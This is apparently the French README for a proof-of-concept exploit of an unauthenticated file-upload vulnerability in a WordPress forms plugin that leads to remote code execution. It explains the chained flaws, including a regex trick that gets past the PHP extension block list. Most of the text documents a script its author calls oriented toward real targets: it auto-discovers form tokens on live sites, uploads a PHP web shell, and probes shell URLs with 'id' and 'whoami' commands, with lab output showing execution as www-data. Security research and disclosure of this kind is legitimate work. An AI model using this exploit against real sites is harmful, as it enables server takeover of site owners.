
Forminator Forms <= 1.56.1 - Téléversement arbitraire de fichiers non authentifié via une configuration forgée du champ de téléversement
CVSS 9.8 (Critique) · Versions concernées : Forminator <= 1.56.1 · Corrigé : 1.56.2
Chercheur : daroo (Wordfence Bug Bounty, $2,048) · ~600k installations actives
Analyse : wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
Trois faiblesses enchaînées via une valeur de champ Select forgée :
Aucune désinfection des tableaux de champs imbriqués — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() parcourt chaque champ stocké. Pour le champ Select stocké select-1,
$field_data = prepared_data['select-1'] (tableau imbriqué contrôlé par l’attaquant). Lorsqu’il contient
, le tableau est ajouté en bloc à (front-action.php ~ligne 1088),
avant toute désinfection/validation par champ. ne les retire pas.
returnfield_data_arraymaybe_handle_custom_option()Configuration de champ non fiable considérée comme fiable au téléversement — Forminator_CForm_Front_Action::process_uploads()
parcourt field_data_array, fait confiance au field_type == 'upload' forgé, utilise le name forgé pour sélectionner une
entrée $_FILES, et transmet le field_array forgé comme configuration de confiance à
Forminator_Upload::handle_file_upload().
Contournement de la liste de blocage par clé exacte — forminator_allowed_mime_types() supprime la clé littérale php, mais
wp_check_filetype() traite les clés comme des regex. La clé ph(p) survit à la liste de blocage tout en correspondant au
suffixe .php. additional-type = ph(p)|text/x-php permet à un fichier .php de passer la validation.
Un formulaire publié doit contenir à la fois un champ de téléversement de fichier et un champ Select. Select n'est que le vecteur.
.php arbitraire sur le disque réussit par défaut (aucune configuration spéciale n’est nécessaire pour l’écriture)..htaccess Apache. La racine Forminator par défaut et une racine
personnalisée reçoivent toutes deux un .htaccess bloquant PHP (SetHandler none / RemoveHandler). L’RCE ne se déclenche que lorsque
ce .htaccess est absent — le scénario de l’analyse : « racine de stockage personnalisée créée lors d’une requête frontale
où insert_with_markers() n’est pas chargé »..htaccess.wp-content/uploads/forminator/ → fichier dans
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root (p. ex. cveuploads), les fichiers atterrissent dans
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> est wp_hash($form_id) — dérivé des sels AUTH du site, il n’est donc pas prédictible de l’extérieur.
poc.py affiche le modèle de chemin ; pour le compléter, vous devez récupérer le hash (liste de répertoire,
URL/journal d’un fichier téléversé existant, une entrée dans l’admin, etc.) via --form-hash.wp_generate_password(12,false,false) . '-' . <original> → par ex.
cX3fRjMDDu03-shell.php (12 caractères alphanumériques aléatoires + - + nom d’origine).poc.pyOrienté cible réelle par conception ; les assistants de laboratoire local (analyse du système de fichiers, suppression de .htaccess) sont limités à
http://wordpresslab.test / http://localhost uniquement.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| Flag | Signification |
|---|---|
--target | URL de base (ou URL complète de la page en l’absence de --page-id/manuel) |
--page-id | ID de publication ; s’il est vide, l’URL cible elle-même est récupérée pour nonce/form_id |
--form-id, --nonce | contourne la découverte ; récupère quand même la page pour la collecte --auto |
--upload-field | nom réel du champ de téléversement (défaut upload-1) |
--forge-name | vecteur $_FILES forgé (défaut = nom réel, mode collision ; utiliser un nom distinct pour un success=True net) |
--select | champ select à utiliser (défaut select-1) |
--extra name=value | forcer une valeur de champ (répétable ; --extra 'checkbox-1[]=a+b' pour plusieurs) |
--auto / --no-auto | collecte les champs réels du formulaire depuis le HTML et remplit automatiquement des valeurs plausibles selon le type (activé par défaut) |
--upload-root | racine de téléversement relative (défaut wp-content/uploads/forminator ; définir p. ex. wp-content/uploads/cveuploads pour une racine personnalisée) |
--form-hash | la partie <hash> du répertoire de téléversement → complète/affiche une URL concrète |
--verify-url | cible réelle : sonder une URL de shell candidate avec ?c=id/?c=whoami |
--find-shell | local uniquement (wordpresslab.test/localhost) : trouver le *-shell.php le plus récent, supprimer .htaccess, exécuter |
--no-htaccess | affiche la note de laboratoire local concernant la suppression de .htaccess |
--auto (collectées depuis le HTML du formulaire)| Type de champ | Valeur générée |
|---|---|
email / le nom contient email | auto<rand>@mailinator.com |
tel / le nom contient phone | 10 chiffres aléatoires |
url / le nom contient url | https://example.com/<rand> |
number | aléatoire 1–9999 |
date | 2026-08-19 |
groupe de cases à cocher/boutons radio name[] | valeur de la première option (toutes les entrées du même nom sont scannées) |
| case à cocher/bouton radio unique | attribut value, repli sur checked |
<select> (non vecteur) | première option non vide |
<textarea> | texte aléatoire |
| texte brut | 10 caractères aléatoires |
Ignorés : champs internes (action/form_id/nonce/...), type="file" (upload-*), select-*
(vecteur d’exploitation), calculation-* (calculés) et champs de plugins externes (wpforms[...]).
Configuration :
build_form.php,
API Forminator_Form_Model).forminator_custom_upload=1, forminator_custom_upload_root=cveuploads)
afin de pouvoir démontrer l’RCE. cveuploads/ est un artefact de laboratoire, pas un réglage par défaut de Forminator.success=True net, le name forgé doit différer du element_id du champ de téléversement
réel. Un nom en collision téléverse quand même le fichier, mais le champ réel exécute également son propre
contrôle de MIME par défaut → la réponse signale une erreur alors que le shell est déjà sur le disque.Preuve brute (exécution en laboratoire) :
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — PoC orienté cible réelle (auto-découverte, auto-remplissage, verify-url, assistant RCE local)build_form.php — générateur programmatique de formulaire de laboratoire (téléversement + select) via l’API de modèleREADME.md — ce document.htaccess/index de Forminator.